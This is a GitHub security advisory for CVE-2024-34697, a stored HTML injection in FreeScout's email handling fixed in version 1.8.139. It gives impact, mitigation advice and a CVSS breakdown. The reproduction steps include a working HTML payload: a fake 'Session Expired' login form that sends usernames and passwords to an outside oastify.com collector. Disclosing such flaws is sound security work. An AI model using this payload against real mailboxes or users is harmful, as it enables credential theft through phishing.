Skip to content

Stored HTML Injection in Editing Received Emails

High
freescout-helpdesk published GHSA-985r-6qfc-hg8m May 13, 2024

Package

No package listed

Affected versions

< 1.8.139

Patched versions

1.8.139

Description

Description:

A stored HTML Injection vulnerability has been identified in the Email Receival Module of the Freescout Application. The vulnerability allows attackers to inject malicious HTML content into emails sent to the application's mailbox. This vulnerability arises from improper handling of HTML content within incoming emails, allowing attackers to embed malicious HTML code in the context of the application's domain.

Impact:

Unauthenticated attackers can exploit this vulnerability to inject malicious HTML content into emails. This could lead to various attacks such as form hijacking, application defacement, or data exfiltration via CSS injection. Although unauthenticated attackers are limited to HTML injection, the consequences can still be severe.

Mitigation:

Implement strict input validation and sanitization mechanisms to ensure that any HTML content received via emails is properly sanitized to prevent malicious HTML injections.

Steps to Reproduce:

  1. Send a mail to [email protected] containing following HTML content:
<div id="popup" class="popup" style="display: block; position: fixed; top: 50%; left: 50%; transform: translate(-50%, -50%); background-color: #fefefe; padding: 20px; border: 1px solid #888; width: 300px; box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1); z-index: 9999;">
  <div class="popup-content">
    <span class="close" style="color: #aaa; float: right; font-size: 28px; font-weight: bold;">X</span>
    <h2 style="text-align: center;">Login Form</h2>
    <p>Session Expired. Login again to continue.</p>
    <form action="https://esau01gqq0hvdmsftm2bapb7pyvpjg75.oastify.com/" method="POST" style="text-align: center;">
      <label for="username">Username:</label><br>
      <input type="text" id="username" name="username"><br>
      <label for="password">Password:</label><br>
      <input type="password" id="password" name="password"><br><br>
      <input type="submit" value="Login">
    </form>
  </div>
</div>
  1. log in as a user in Freescout and go to edit the received email, HTML Injection will cause a popup forcing the user to input credentials, from where the credentials can be stolen.

Evidence

image
Sending Email with Malicious HTML.

image
Editing Received Email.

image
HTML Injection

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
Low
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:L

CVE ID

CVE-2024-34697

Weaknesses

Credits